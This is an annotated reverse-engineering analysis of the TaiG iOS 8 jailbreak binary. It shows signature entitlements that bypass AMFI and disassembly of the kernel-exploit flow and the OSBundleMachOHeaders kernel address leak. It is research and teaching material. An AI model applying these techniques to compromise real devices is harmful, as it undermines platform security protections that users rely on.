The Annotated (informal) Guide to TaiG - Part the 2nd

Jonathan Levin, http://newosxbook.com/ - 2/14/14

I: About

My previous writeup about TaiG was widely tweeted about, but left off where things got.. interesting - specifically, what happens on the device, when the TaiG jailbreak binary is injected. Since I wrote that one on the way to Oz (to kill time on a 15 hour flight), it only makes sense to pick up on it now, on the way back. You might want to take a look at the previous part before reading this one. This also has the disclaimer, tools, etc.

So... where were we..?

After TaiG uses the DDI race condition to mount a fake Developer Disk Image, we get a /Developer mounted with a replacement /usr/lib/libmis.dylib and /usr/lib/xpcd_cache.dylib, both malformed with the (now deceased) Mach-O overlapping segments bug, to allow the running of unsigned code. It is at that point which TaiG's UI claims "success" (around 40%, was it?), and proceeds to "injecting jailbreak program". The binary can now run, and install itself on the device so as to effectuate the jailbreak changes and make them persist after a reboot.

II: The jailbreak binary

The taig binary uploaded to the device is fat ("universal"), which is a necessity since it can run on both armv7 (32-bit) and arm64 (64-bit, i.e. 5S/Air and up) devices. You might want to follow along with the binary (which you can get from here, or from your device at /taig/taig).

morpheus@Zephyr (~/Documents/iOS/JB/TaiG) % file taig
/Volumes/VMware Shared Folders/iOS/JB/taig/taig: Mach-O universal binary with 2 architectures
/Volumes/VMware Shared Folders/iOS/JB/taig/taig (for architecture armv7):	Mach-O executable arm
/Volumes/VMware Shared Folders/iOS/JB/taig/taig (for architecture arm64):	Mach-O 64-bit executable

The first thing I normally run on an unknown binary is my jtool. Doing so on taig (as shown in the following listing) reveals several interesting things:

Listing ...: Running jtool -l on taig's 64-bit Mach-O (32-bit is pretty much same)
morpheus@Zephyr (~/Documents/iOS/JB/TaiG) % ARCH=armv8 jtool -l  taig 
LC 00: LC_SEGMENT_64          Mem: 0x000000000-0x100000000	__PAGEZERO
#
# No malformation here - Binary is 'legit'
#
LC 01: LC_SEGMENT_64          Mem: 0x100000000-0x100014000	__TEXT
	Mem: 0x100005e2c-0x1000115f8		__TEXT.__text	(Normal)
	Mem: 0x1000115f8-0x100011d90		__TEXT.__stubs	(Symbol Stubs)
	Mem: 0x100011d90-0x100012528		__TEXT.__stub_helper	(Normal)
	Mem: 0x100012528-0x100012de3		__TEXT.__cstring	(C-String Literals)
	Mem: 0x100012de3-0x10001309e		__TEXT.__objc_methname	(C-String Literals)
	Mem: 0x1000130a0-0x100013c27		__TEXT.__const	
	Mem: 0x100013c27-0x100013c40		__TEXT.__objc_classname	(C-String Literals)
	Mem: 0x100013c40-0x100013caf		__TEXT.__objc_methtype	(C-String Literals)
	Mem: 0x100013cb0-0x100013ccc		__TEXT.__ustring	
	Mem: 0x100013ccc-0x100013db4		__TEXT.__gcc_except_tab	
	Mem: 0x100013db4-0x100014000		__TEXT.__unwind_info	
LC 02: LC_SEGMENT_64          Mem: 0x100014000-0x100018000	__DATA
	Mem: 0x100014000-0x100014098		__DATA.__got	(Non-Lazy Symbol Ptrs)
	Mem: 0x100014098-0x1000145a8		__DATA.__la_symbol_ptr	(Lazy Symbol Ptrs)
	Mem: 0x1000145a8-0x1000145b0		__DATA.__mod_init_func	(Module Init Function Ptrs)
	Mem: 0x1000145b0-0x100014890		__DATA.__const	
	Mem: 0x100014890-0x100014898		__DATA.__objc_classlist	(Normal)
	Mem: 0x100014898-0x1000148a0		__DATA.__objc_catlist	(Normal)
	Mem: 0x1000148a0-0x1000148a8		__DATA.__objc_imageinfo	
	Mem: 0x1000148a8-0x100014b28		__DATA.__objc_const	
	Mem: 0x100014b28-0x100014bc0		__DATA.__objc_selrefs	(Literal Pointers)
	Mem: 0x100014bc0-0x100014be0		__DATA.__objc_classrefs	(Normal)
	Mem: 0x100014be0-0x100014c30		__DATA.__objc_data	
	Mem: 0x100014c30-0x100014f10		__DATA.__cfstring	
	Mem: 0x100014f10-0x100015138		__DATA.__data	
	Mem: 0x100015140-0x100016b70		__DATA.__bss	(Zero Fill)
LC 03: LC_SEGMENT_64          Mem: 0x100018000-0x100020000	__LINKEDIT
LC 04: LC_DYLD_INFO          
LC 05: LC_SYMTAB             
	Symbol table is at offset 0x19a70 (105072), 186 entries
	String table is at offset 0x1ab6c (109420), 2984 bytes
LC 06: LC_DYSYMTAB           
	    2 local symbols at index     0
	    1 external symbols at index  2
	  183 undefined symbols at index 3
	   No TOC
	   No modtab
	  343 Indirect symbols at offset 0x1a610
LC 07: LC_LOAD_DYLINKER      	/usr/lib/dyld
LC 08: LC_UUID               	UUID: AC536657-237F-39BE-A7B2-ACBC3A671692
LC 09: LC_VERSION_MIN_IPHONEOS	Minimum iOS  version:    7.0.0
LC 10: LC_SOURCE_VERSION     	Source Version:          0.0.0.0.0
LC 11: LC_MAIN               	Entry Point:             0x9674 (Mem: 100009674)
# 
# Binary is not encrypted in any way (yay!)
#
LC 12: LC_ENCRYPTION_INFO_64 	Encryption: 0 from offset 16384 spanning 65536 bytes
#
# Dependencies:

LC 13: LC_LOAD_DYLIB         	/usr/lib/libafc.dylib   # Not actually used
LC 14: LC_LOAD_DYLIB         	/usr/lib/libc++.1.dylib # Compiled with C++
LC 15: LC_LOAD_DYLIB         	/System/Library/Frameworks/IOKit.framework/Versions/A/IOKit # We'll own the kernel
LC 16: LC_LOAD_DYLIB         	/System/Library/PrivateFrameworks/.../ServiceManagement     # We'll mess with launchd
LC 17: LC_LOAD_DYLIB         	/System/Library/Frameworks/Foundation.framework/Foundation  # Obj-C
LC 18: LC_LOAD_DYLIB         	/usr/lib/libobjc.A.dylib                                    # Obj-C
LC 19: LC_LOAD_DYLIB         	/usr/lib/libSystem.B.dylib                                  # Because everyone needs it
LC 20: LC_LOAD_DYLIB         	/System/Library/Frameworks/CoreFoundation.framework/CoreFoundation # Obj-C
LC 21: LC_RPATH              	@executable_path/Frameworks
# 
# XCode's default (and utterly otherwise useless) information leakage by design:
#
LC 22: LC_FUNCTION_STARTS    	Offset: 104640, Size: 344 (0x198c0-0x19a18) 
LC 23: LC_DATA_IN_CODE       	Offset: 104984, Size: 0 (0x19a18-0x19a18) 
# Hmmm...
LC 24: LC_DYLIB_CODE_SIGN_DRS	Offset: 104984, Size: 88 (0x19a18-0x19a70) 
LC 25: LC_CODE_SIGNATURE     	Offset: 112416, Size: 1104 (0x1b720-0x1bb70) 

The binary is not malformed in any way, which makes sense, because by this time we have the fake /usr/lib/libmis.dylib over the real one. It's not encrypted, which is great for reverse engineering, and frankly couldn't have been employed to resist it since it's only doable (with Encryption Type: 1) for app store Apps.

Dependency-wise, there are:

  • libsystem.B: Which no (dynamically linked binary) on iOS or OS X can move without. Windows people can think of it as a combination of Kernel32+NtDll+MSVCRT. Linux people can think of it as (among other things) libc.so.
  • libc++: Which indicates the use of C++ in the binary. (nm -m taig | grep c++ or jtool -S -v taig | grep c++
  • libobjc, and the Foudation/CoreFoundation frameworks: providing a clear indication (along with the objc_ segments) that there's Objective-C involved
  • IOKit: Which is the clearest indication the binary will tackle the kernel - IOKit is THE attack vector for that
  • ServiceManagementA private framework used to interface with launchd. taig uses SMCopyDictionary and SMJobSubmit, later.
  • libafc.dylib: Not sure if this is a red herring, a left over -lafc, or something I've missed, but there's no actual symbols imported from here
  • Code signature and entitlements

    A code signature and designated requirements can be seen at the end of the binary. OS X's codesign claims that "code object is not signed at all". But what does it know? Without a code signature blob, AMFI.kext would kill us on the spot. And clearly, there's something there. Time to unleash jtool --sig -v on it:

    morpheus@Zephyr (~/Documents/iOS/JB/TaiG) % JCOLOR=1 jtool  -arch armv8 --sig -v --ent taig 
    Blob at offset: 112416 (1104 bytes) is an embedded signature of 1089 bytes, and 3 blobs
    	Blob 0: Type: 0 @36: Code Directory (709 bytes)
    		Version:     20001
    		Flags:       none (0x0)
    		Identifier:  taig
    		CDHash:	     09059af87d64372658826d73e419d42383e2cd75
    		# of Hashes: 28 code + 5 special
    		Hashes @149 size: 20 Type: SHA-1
    			Entitlements blob:	3b3feeeb6676cb7bcd61e03436a8a39742feb44c (OK)
    			Application Specific:	Not Bound
    			Resource Directory:	Not Bound
    			Requirements blob:	3a75f6db058529148e14dd7ea1b4729cc09ec973 (OK)
    			Bound Info.plist:	Not Bound
    			Slot   0 (File page @0x0000):	b00b96b29f6a86c3bf2538d5b94c5d5a9ee0429e (OK)
    			Slot   1 (File page @0x1000):	1ceaf73df40e531df3bfb26b4fb7cd95fb7bff1d (OK)
    			# Hashes, and all ok, so omitted for brevity
    			Slot  27 (File page @0x1b000):	bf05426e9a67734564f1e8bcd752885fd6182b05 (OK)
    	Blob 1: Type: 2 @745: Empty requirement set
    	Blob 2: Type: 5 @757: Entitlements (332 bytes) 
    
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
    <plist version="1.0">
    <dict>
        <key>platform-application</key>
        <true/>
        <key>get-task-allow</key>
        <true/>
        <key>task_for_pid-allow</key>
        <true/>
    </dict>
    </plist> 
    #
    # Normally, there'd be a (potentially empty) CMS (RFC3852) signature blob here. This confuses codesign
    
    	Superblob ends @36
    

    I'm not going to the internals of code signing yet - I'm doing a talk at the upcoming RSA Conference on that anyway (and I'll make the slides public). But what do we see here? In a nutshell, we have:

    The last point is also the most important one, and, in fact, the other reason we need the code signature blob anyway (The first was to avoid premature execution by AMFI.kext). The entitlements get copied along with the code signature blob into kernel memory, so the binary has no way to modify them, and it is through the entitlements that we can achieve unrestricted execution, specifically:

    Entitlement (all boolean)Achieves
    platform-applicationThat's our "Get out of jail" card: amfid would normally execute us if we try to run outside the sandbox. Specifying this basically says we're an Apple binary, so it's ok :-)
    get-task-allow
    task_for_pid_allow
    Allows us to get the task port of any process on the system and (if patched), the kernel_task as well. The task port is the root of all evil, and allows complete control over the task, including memory modification. Naturally, such a powerful API must be protected. In OS X there's a taskgated(8) daemon, but in iOS amfid serves the role of bouncer on this, and you can't use this nefarious mach trap unless you have the entitlement.
    I should note that both these are well known from Apple's own debugserver (part of the real DDI), and have been used since the dawn of time (or, at least since comex).

    At this point, what's going to happen is (roughly) this:

    1. The binary launches
    2. AMFI.kext doesn't kill us because we have a code signature blob. So far so good
    3. The code signature is actually inspected. AMFI.kext sees it's not adhoc, and has an identifier. For all it knows, this could be a valid App-store app, right? So it requests its minion, amfid to check on it, through a message to the well known HOST_AMFID_PORT.
    4. If amfid isn't already running, launchd spawns it, and provides it with the port.
    5. amfid-imwit loads libmis.dylib, and calls on the _MISValidateSignature() export. But, 'lo and behold - it's an indirect for _CFEqual! So .. err. I guess that means it's ok?
    6. AMFI.kext gets the message that.. .. ok? and lets taig run. As root. Let's play ball.

    Tracing the flow of Taig

    taig is actually relatively easy to disassemble because it's not really that obfuscated, and it's fat - so if your favorite assembly flavor is 32-bit you can target the armv7 portion, and if you prefer 64-bit, the armv8 one. Another helpful feature is LC_FUNCTION_STARTS, which xcode's compiler puts in by default, along with LC_DATA_IN_CODE. Both load commands serve no purpose but to make the debugger's (and thus, our) life easier, by clearly pointing out where functions begin and where packed switch data is*.

    If you plan on disassembling yourself, you can use IDA (expensive, pretty good on 32-bit, but still dismal for 64), otool -tV (free and built-in), or jtool -d __TEXT.__text. I naturally used the last on armv8. As I went along, I added support for most of the instructions in the flow (at least those which matter), along with auto-decompilation. If you follow along, make sure you grab v0.85 or later from my site.The command line to try is ARCH=armv8 JCOLOR=1 jtool -d taig (to start at the entry point). The following is basically the output from that, with a few more annotations by me (in yellow), and a ".jtool" companion file so that jtool could dump meaningful names instead of func_XXXX). You can toggle disassembly on/off in the following listing, which I've worked hard on to capture the original colors and provide JS for (@TODO: I also need to convert more curses to spans. Sheesh. This was hard with one listing, now I have three..)

    Listing ..:Taig's main() Show disassembly
    main: ; func_10009674:
    ; Prolog: Saves x30 through x19, since we use them.
    000000010000968c        ADD    X29, X31, #0x50  ; R29 = SP + 80
    0000000100009690        SUB    SP, SP, #720     ; Stack frame: 720 bytes
    0000000100009694        MOV    X19, argv        ; X19 = X1
    0000000100009698        MOV    X20, argc        ; X20 = X2
    000000010000969c        BL     0x10000c8f8      ; 0x100015b44
    
    00000001000096a0        STR    X0, [ X31, #46]  ; SP[368] = x0
    ;
    ; watchdog_disable(600);  // 10 minutes
    ; 00000001000096a4        MOVZ   W0, #600         ; R0 = 0x258
    00000001000096a8        BL     watchdog_disable ; 0x100009878
    ; get_leak_1();
    00000001000096ac        BL     get_leak_1 		;  0x10000d2bc 
    ; get_leak_2();
    00000001000096b0        BL     get_leak_2 
    ; 
    ; if (argc < 2) goto no_args (set w24 to 0)
    ; 
    00000001000096b4        cmp    argc, #2  	 ; w20 == 2?        
    00000001000096b8        B.lt   no_args           ; if (w20 < 2) goto 0x100009750
    ;
    ; argv[] loop: for (w26 = argc - 1; w26 > 0; w26--)
    ; {
    ;    if (_strcmp(argv[w26],"-u")) { w24 = w27 = 1; }
    ;    if (_strcmp(argv[w26],"-s")) { w24 = w28 = 2; }
    ;    if (_strcmp(argv[w26],"-l")) { w24 = w19 = 3; }
    ; } // end of argv[] loop
    ; ...
    0000000100009734        cbnz    w26, argv_loop if (w26 > 0) goto 0x1000096f0
    ; if (user didn't select -s) goto common
    0000000100009738        cmp    w24, #2  
    000000010000973c        LDR    X19, [X31, #2]    ; R19 = SP + 16
    0000000100009740        B.NE   common            ; 0x100009754
    
    ;
    ; _setup()
    ;
    
    0000000100009744        BL     _setup        ; 0x1000083cc
    0000000100009748        orr     w24, wzr, #0x2          
    000000010000974c        B      common            0x100009754
    
    no_args: // 0000000100009750
    ; w24 = 0;
    0000000100009750        MOVZ   W24, #0          ; R24 = 0x0
    ; At this point, w24 holds one of:
    ;   0: if no recognized argument was detected
    ;   1: for the -u argument
    ;   2: for the -s argument
    ;   3: for the -l argument
    common:  // 0000000100009754
    
    0000000100009754        STR    WZR, [ X31, #7]  ; SP[28] = 0
    0000000100009758        NOP                     
    000000010000975c        LDR    X8, #10823       ; R8 = *(100014078) _mach_task_self_
    0000000100009760        LDR    W0, [X8, #0]     ; R0 = *(1000b4230) = mach_task_self
    0000000100009764        MOVZ   W1, #0           ; R1 = 0x0
    0000000100009768        ADD    x2, x31, #0x1c    ; ..R2 = SP  + 0x1c
    000000010000976c        BL     0x100011ba4      ; 0x100011ba4 _task_for_pid
    ;
    ; kern_return_t = task_for_pid (mach_task_self, 
    ;                               0, 
    ;                               &kernel_task); = sp+0x28
    
    
    0000000100009770        >ADD   x8, x31, #0x20   ; ..R8 = R31 (0x1d) + 0x20 = 0x3f
    0000000100009774        >ADD   x1, x8, #0x20    ; ..R1 = R8 (0x3f) + 0x20 = 0x28
    0000000100009778        >ADD   x20, x31, #0x178 ; ..R20 = R31 (0x1d) + 0x178 = 0x197
    000000010000977c        >ADD   x0, x20, #0x20   ; ..R0 = R20 (0x197) + 0x20 = 0x34
    0000000100009780        MOVZ   X2, #312         ; R2 = 0x138
    ; 
    ; memcpy (SP + 0x178 + 0x20, (SP + 0x20) + 0x20, 312);
    ;
    0000000100009784        BL     0x1000119dc      ; 0x1000119dc _memcpy
    0000000100009788        MOV    X0, X20          
    ;
    ; deobfuscate_object_names (SP + 0x178) - copies the IORegistry Object names exploit uses
    ;
    000000010000978c        BL     deobfuscate_object_names ; 0x10000c6ec
    ;
    ; if (kernel_task != 0) goto task_for_pid_already_patched
    ;
    0000000100009790        LDR    W8, [X31, #7]    ; R8 =  kernel_task
    0000000100009794        cbnz   w8, task_for_pid_already_patched ;  0x1000097d4   
    ;
    ; if we're still here, we need to exploit the kernel
    ;
    0000000100009798        MOVZ   W1, #0           ; W1 = 0x0
    000000010000979c        ADD   x20, x31, #0x20  ; X20 = SP + 32
    00000001000097a0        MOV    X0, X20          
    
    ; This is the IOHID payload, with a sprinkle of mach_port_kobject for good taste
    ;
    ; rc = exploit (SP + 32, 0); (exploit is @ 0x10000a204)
    
    00000001000097a4        BL     exploit          
    ;
    ; if (rc  < 0) goto exploit_failed;
    ; if (x24 == 0) goto args_none
    ;
    00000001000097a8        CMP    x0, #0           
    00000001000097ac        B.LT   exploit_failed  ; 0x100009860
    ; Still here - so far, so good..
    00000001000097b0        CBZ    X24, args_none   ; 0x1000097c0  
    00000001000097b4        ADD   x0, x20, #0x70  ; X0 = X20 + 112
    00000001000097b8        orr     w1, wzr, #0x1  ; w1 = 1
    00000001000097bc        BL     0x100009970      
    ; _func_100009970(X20 + 112, 1);
    args_none:
    ; Apply kernel patches (modified set of Comex patches, updated for ARMv8)
    ; apply_patches (SP + 32);
    00000001000097c0        >ADD   x20, x31, #0x20  ; X20 = SP + 32
    00000001000097c4        MOV    X0, X20          ; X0 = SP +32
    00000001000097c8        BL     apply_patches    ; 0x100009acc  
    ; to_close_IO_Services (SP + 32)
    00000001000097cc        MOV    X0, X20          
    00000001000097d0        BL     _to_close_IO_Services             ; 0x10000a234
    ;
    ; We also get here if task_for_pid was already patched:
    
    ; task_for_pid_already_patched:
    00000001000097d4        MOVZ   W0, #610         ; R0 = 0x262
    ; 
    ; watchdog_disable(610); 
    00000001000097d8        BL     watchdog_disable ; 0x100009878
    ; if (w24 == 2) goto args_s
    00000001000097dc        cmp    w24, #2          
    00000001000097e0        B.EQ   0x1000097f4     
    ; if (w24 != 1) goto args_not_u
    00000001000097e4        cmp    w24, #1     
    00000001000097e8        B.NE   0x100009808      
    args_u:
    patch_libmis_and_xpcd_cache(); 
    00000001000097ec        BL     _patch_libmis_and_xpcd_cache     ; 0x100007f38
    ; goto ok 
    00000001000097f0        B      ok;                          ;0x10000983c  
    args_s:
    00000001000097f4        BL     _remount_root    ; 0x10000793c 
    ; rc = remount_root() 
    ; if (rc !=0) goto faiure;
    00000001000097f8        cbnz   w0, ok  ; 0x10000983c
    ; do_setup (*X19);
    ; goto 0x1000983c
    00000001000097fc        LDR    X0, [X19, #0]    ; R0 = *(100000cfeedfacf) = 0x100000cfeedfacf
    0000000100009800        BL     install		; 0x100007fa0      
    0000000100009804        B      0x10000983c      
    args_not_u:
    ; if (w24 !=0) goto ok
    0000000100009808        cbnz    w24, ok     ; 0x10000983c      
    ; rc = remount_root();
    ; if (rc != 0) goto after_mess_with_dirs_and_SB
    000000010000980c        BL     _remount_root     ; 0x10000793c
    0000000100009810        cbnz    w0, 0x100009820          ; 0x350000080
    ; _makes_dirs
    0000000100009814        BL     _makes_dirs      ; 0x10000798c
    ; _mess_with_SB()    
    0000000100009818        BL     _mess_with_SB    ; 0x100008870
    ; func_0x10000cc74
    000000010000981c        BL     0x10000cc74      
    after_mess_with_dirs_and_SB:
    ; func_0x10000cd38 ();
    0000000100009820        BL     0x10000cd38      
    0000000100009824        MOVZ   W0, #3, LSL #16  ; R0 = 0x30000
    0000000100009828        MOVK   X0, #3392        ; R0 = 0xd40
    000000010000982c        BL     0x100011bbc      ; 0x100011bbc _usleep
    ; usleep(...);
    0000000100009830        ADR    x0, 46720        ; R0 = 0x100014eb0
    0000000100009834        NOP                     
    0000000100009838        BL     0x100011790      ; 0x100011790 _NSLog
    ; Display "TaiG, Made in China" :-)
    ; NSLog(@"太极 中国制造,sw_pl"); 
    _ok:
    ; r0 = 0;
    000000010000983c        MOVZ   W0, #0           ; R0 = 0x0
    exit:
    ; Epilog - restores X19-X30
    000000010000985c        RET   
    ; exploit_failed: we get here if exploit returns negative value.
    ; we either reboot, or just fail by exiting with -1.
    exploit_failed:
    0000000100009860        cmp     w24, #1         
    0000000100009864        B.HI   0x100009870      ; if w24 > 1 goto no_reboot
    0000000100009868        MOVZ   W0, #0           ; R0 = 0x0
    000000010000986c        BL     0x100011ac0      ; 0x100011ac0 _reboot
    no_reboot:
    0000000100009870        MOVN   X0, #0           ; R0 = -1
    0000000100009874        B      exit             ; 0x100009840       
    
    

    setup

    When invoked with "-s", taig enters installation (I guess -s is for "setup") mode. This mode is required only once, on first invocation (that is, when "injecting the jailbreak program"). In fact, caveat lector - Don't say I didn't warn you:

    WARNING: taig isn't smart enough to ignore -s when it's already installed (or check if /DeveloperLib and friends are mounted). Running it would cause the binary /taig/taig to be recreated as an empty file, and on the next reboot your system will hang as launchd is unable to boot to SpringBoard, *or* start ssh! Believe me - I speak from experience. I barely managed, in the nick of time, to restore to 8.1.2 before Apple stopped signing it - and forced an 8.1.3 upgrade.

    The installation function can be found at 0x100007fa0. Basically, it's pretty straightforward, and involves:

    Let's move on to the good stuff.

    The Exploits

    OSBundleMachOHeaders (CVE-2014-4491)

    The Apple Bulletin states that "An information disclosure issue existed in the handling of APIs related to kernel extensions. Responses containing an OSBundleMachOHeaders key may have included kernel addresses, which may aid in bypassing address space layout randomization protection". Apple credits TaiG and Stefan Esser with this bug, and it is indeed used by Pangu8.

    TaiG wastes no time with exploiting the bug. In fact, it does so before even checking its command line arguments! The main function used is 0x10000d2fc (leak_kernel_addresses), which is used through two wrappers: _get_leak_1 (0x10000d2bc, which returns 0x100016b58) and get__leak_2 (0x10000d2dc, which returns 0x100016b60). The function itself is shown here:

    Listing ..:Taig's OSBundleMachOHeaders exploit Show disassembly
    _leak_kernel_address:
    ; The usual prolog
    000000010000d2fc        STP    X28, X27, [X31, #116]!   
    000000010000d300        STP    x26, X25, [X31, #2]      
    000000010000d304        STP    x24, X23, [X31, #4]      
    000000010000d308        STP    x22, X21, [X31, #6]      
    000000010000d30c        STP    x20, X19, [X31, #8]      
    000000010000d310        STP    x29, X30, [X31, #10]     
    000000010000d314        ADD   x29, x31, #0x50  ; ..R29 = R31 (0x4d) + 0x50 = 0x6f
    000000010000d318        sub     sp, sp, #48     ; set up frame, 48 bytes
    ;
    ; mach_port_t hs = mach_host_self;
    ;
    000000010000d31c        BL     0x100011988          ; 0x100011988 _mach_host_self
    000000010000d320        MOV    X1, X0               ; X1 = mach_host_self
    000000010000d324        MOVZ   W0, #0               ; R0 = 0x0
    000000010000d328        STP    XZR, XZR, [X31, #3]  ; SP[24] = 0     
    000000010000d32c        STP    WZR, WZR, [X31, #4]  ; SP[16] = 0    
    000000010000d330        ADR    x23, 38944           ; R23 = 0x100016b50
    000000010000d334        NOP                     
    ;
    ; X8 gets value @0x10016b58 - a global. If it's the first time we're here, it's 0, and we proceed
    ; to set this value from leak_kernel_address. If it's not, then we can simply exit 
    ;
    ; if (global_cached_value) goto _Exit
    ;
    000000010000d338        LDR    x8, [X23, #1]    ; R8 = *(100016b58) = 0x0
    000000010000d33c        CBNZ   X8, _Exit        
    ; Now craft a kext_request (remember we're running as root - yes we can):
    000000010000d340        >ADD   x8, x31, #0x2c   ; X8 = SP + 0x2c 
    000000010000d344        ADR    x2, 22906        ; R2 = 0x100012cbe ; Kext Request PredicateGet Loaded Kext Info
    000000010000d348        NOP                     
    000000010000d34c        STR    X8, [ X31, #0]   ; *SP = (SP + 0x2c)
    000000010000d350        ADD    X4, x31, #0x18   ; X4  = SP + 0x18
    000000010000d354        ADD   x5, x31, #0x14    ; X5  = SP + 0x14 
    000000010000d358        ADD   x6, x31, #0x20    ; X6  = SP + 0x20 = 0x3f
    000000010000d35c        ADD   x7, x31, #0x10    ; X7  =  SP + 0x10
    000000010000d360        MOVZ   W3, #84          ; R3  = 0x54
    000000010000d364        MOV    X0, X1           ; X1  = mach_host_self
    000000010000d368        MOVZ   W1, #0           ; R1  = 0x0
    
    ; kr = kext_request (mach_host_self,  // host_priv_t host_priv
    ;                0,  // uint32_t user_log_flags
    ;                "Kext Request PredicateGet Loaded Kext Info",
    ;                0x54, // mach_msg_type_number_t request_dataCnt,
    ;                sp + 0x18 , // vm_offset_t *response_data
    ;                sp + 0x14, // mach_msg_type_number_t *response_dataCnt
    ;                sp + 0x20, // vm_offset_t *log_data
    ;                sp + 0x10, // mach_msg_type_number_t *log_dataCnt
    ;                sp + 0x2c);// kern_return_t *op_result
    000000010000d36c        BL     _kext_request    ; 0x100011940
    ;
    ; if (! kr) goto Fail
    000000010000d370        cbnz   w0, Fail         ; 0x10000d4b0  ..      
    000000010000d374        LDR    X0, [X31, #3]    ^[[0;32m; R0 = sp + 0x18 = response_data^[[0;0m
    000000010000d378        ADR    x1, 22938        ; R1 = 0x100012d12
    000000010000d37c        NOP                     
    000000010000d380        BL     _strstr          ; 0x100011b8c
    ;
    ;  char *MOBH = strstr (response_data , "OSBundleMachOHeaders");
    ;
    ; if (!MOBH)  goto Fail;
    000000010000d384        CBZ    X0, 0x10000d4b0  ; Fail        
    000000010000d388        ADD    x19, x0, #0x2c   ; X19 = MOBH + 44
    000000010000d38c        ADR    x1, 22963        ; R1 = 0x100012d3f ; ""
    000000010000d390        NOP                     
    000000010000d394        MOV    X0, X19          
    ;
    ; Get start of Base64 data of OSBundleMachO - the contents of the  element
    ; char *endData = strstr (MOBH + 44, "");
    ;
    000000010000d398        BL     _m_strstr       ; 0x100011b8c     
    ; if (!endData) goto Fail;
    000000010000d39c        CBZ    X0, Fail         
    
    ;
    ; *endData = '\0';
    000000010000d3a0        strb   wzr, [x0]        ; ?
    000000010000d3a4        NOP                     ;
    000000010000d3a8        LDR    X20, #7692       ; X20 =
    000000010000d3ac        NOP                     ;
    000000010000d3b0        LDR    X0, #7686        ; X0 = _OBJC_CLASS_$_NSString
    000000010000d3b4        NOP                     ;
    000000010000d3b8        NOP                     ;
    000000010000d3bc        LDR    X1, #7677        ; X1 = "stringWithUTF8String:"
    000000010000d3c0        MOV    X2, X19          ; X2 = MOBH + 44
    000000010000d3c4        BL     _objc_msgSend    ; 0x10001179c
    ; Pass Base64 data to NSString, to create a string
    ;
    ; NSStringRef str =  _objc_msgSend(_OBJC_CLASS_$_NSString,"stringWithUTF8String:", MOBH + 0x2c);
    ; 
    ; Or, in Obj-C parlance: [ NSString stringWithUTFString: (MOBH + 44)]
    ;
    ;
    000000010000d3c8        MOV    X2, X0           ; x2 = str
    000000010000d3cc        NOP                     ;
    000000010000d3d0        NOP                     ;
    000000010000d3d4        LDR    X1, #7673        ; X1 = *(100014bb8) = 0x100012f04
    000000010000d3d8        MOV    X0, X20          ; X0 = _OBJC_CLASS_$_NSString
    000000010000d3dc        BL     _objc_msgSend    ; 0x10001179c
    ;
    ; Decode Base64 or bust
    ;
    ; R0 =  _objc_msgSend(_OBJC_CLASS_$_NSString,"decodeString:", str);
    ; if (!R0) goto Fail;
    ;
    000000010000d3e0        CBZ    X0, Fail         ;
    000000010000d3e4        NOP                     ;
    000000010000d3e8        NOP                     ;
    ;
    000000010000d3ec        LDR    X1, #7641        ; X1 = 0x100012e0d "bytes"
    ;
    ; Get count of bytes
    ;
    ; R0 =  _objc_msgSend(_OBJC_CLASS_$_NSString,"bytes",str);
    000000010000d3f0        BL     _objc_msgSend    ; 0x10001179c 
    000000010000d3f4        CBZ    X0, Fail         ;
    000000010000d3f8        LDR    W24, [X0, #4]    ; X24 = X0[16];
    000000010000d3fc        CBZ    X24, 10000d4a8   ;
    000000010000d400        MOVZ   W25, #0          ; X25 = 0x0
    000000010000d404        ADR    x19, 20850       ; R19 = 0x100012576 "__TEXT"
    000000010000d408        NOP                     ;
    000000010000d40c        ADD   x26, x0, #0x20   ; X26 = X0[32]
    000000010000d410        ADR    x20, 22839       ; X20 = 0x100012d47 "__PRELINK_STATE"
    000000010000d414        NOP                     ;
    000000010000d418        MOVZ   X27, #65535, LSL #-16  ; X27 = 0xffff000000000000
    000000010000d41c        MOVK   X27, #65408, LSL 32    ; X27 = 0xffffff80ff000000
    000000010000d420        MOVK   X27, #65504, LSL 16    ; X27 = 0xffffff80ffe00000
    000000010000d424        ADR    x21, 22835       ; X21 = 0x100012d57 "__PRELINK_INFO"
    000000010000d428        NOP                     ;
    loop:
    000000010000d42c        LDR    W8, [X26, #0]    ; W8 = X26[0]
    000000010000d430        CMP    w8, #25          ; W8 should be 0x19
    000000010000d434        B.NE   0x10000d494      ;
    000000010000d438        ADD    X22, x26, #0x8   ; X22 = X26 + 8 
    000000010000d43c        MOV    X0, X22          ; X0  = X26 + 8
    000000010000d440        MOV    X1, X19          ; X1  = X19 = "__TEXT"
    ;
    ; R0 =  _strcmp(...decoded string data,"__TEXT");
    ;
    000000010000d444        BL     m_strcmp            ; 0x100011b20 
    000000010000d448        cbnz   W0, not_found__TEXT ; 0x10000d454  
    000000010000d44c        LDR    X8, [X26, #3]       ; R8 = X26[24]
    000000010000d450        STR    X8, [ X23, #3]      ; X23[24] = X8
    000000010000d454        MOV    X0, X22             ;
    000000010000d458        MOV    X1, X20             ; X1 = X20 = "__PRELINK_STATE"
    ;
    ; R0 =  _strcmp(..decoded string data,"__PRELINK_STATE");
    ;
    000000010000d45c        BL     m_strcmp           ; 0x100011b20
    ; if (! R0) goto no_PRELINK_STATE
    000000010000d460        cbnz   w0, __not_PRELINK_STATE ; 0x10000d478  
    000000010000d464        LDR    X8, [X26, #3]      ; X8 = X26[24]
    000000010000d468       	sub    x8, x8, #4194304  ;
    000000010000d46c        and    x8, x8, x27       ;
    000000010000d470        orr    x8, x8, #0x2000   ; 
    000000010000d474        STR    X8, [ X23, #1]    ; X23[8] = X8
    not_PRELINK_STATE:
    000000010000d478        MOV    X0, X22           ;
    000000010000d47c        MOV    X1, X21           ; 
    ;
    ; R0 =  _strcmp(decoded string data..,"__PRELINK_INFO");
    ; 
    000000010000d480        BL     m_strcmp          ; 0x100011b20 
    ; if (!R0) goto 0x10000d494
    000000010000d484        CBNZ w0,  0x10000d494     ;
    000000010000d488        ldp    x8, x9, [x26, #24] ;
    000000010000d48c        ADD    X8, X9, X8         ;
    000000010000d490        STR    X8, [ X23, #2]     ;
    000000010000d494        LDR    W8, [X26, #1]      ; 
    000000010000d498        ADD    X26, X26, X8       ;
    000000010000d49c        add    w25, w25, #1       ;
    000000010000d4a0        cmp    w25, w24           ; is w24 == w25 = 15? 
    000000010000d4a4        B.CC   loop               ; 0x10000d42c 
    ; (loops 15 times)
    000000010000d4a8        MOVZ   W0, #0             ; R0 = 0x0
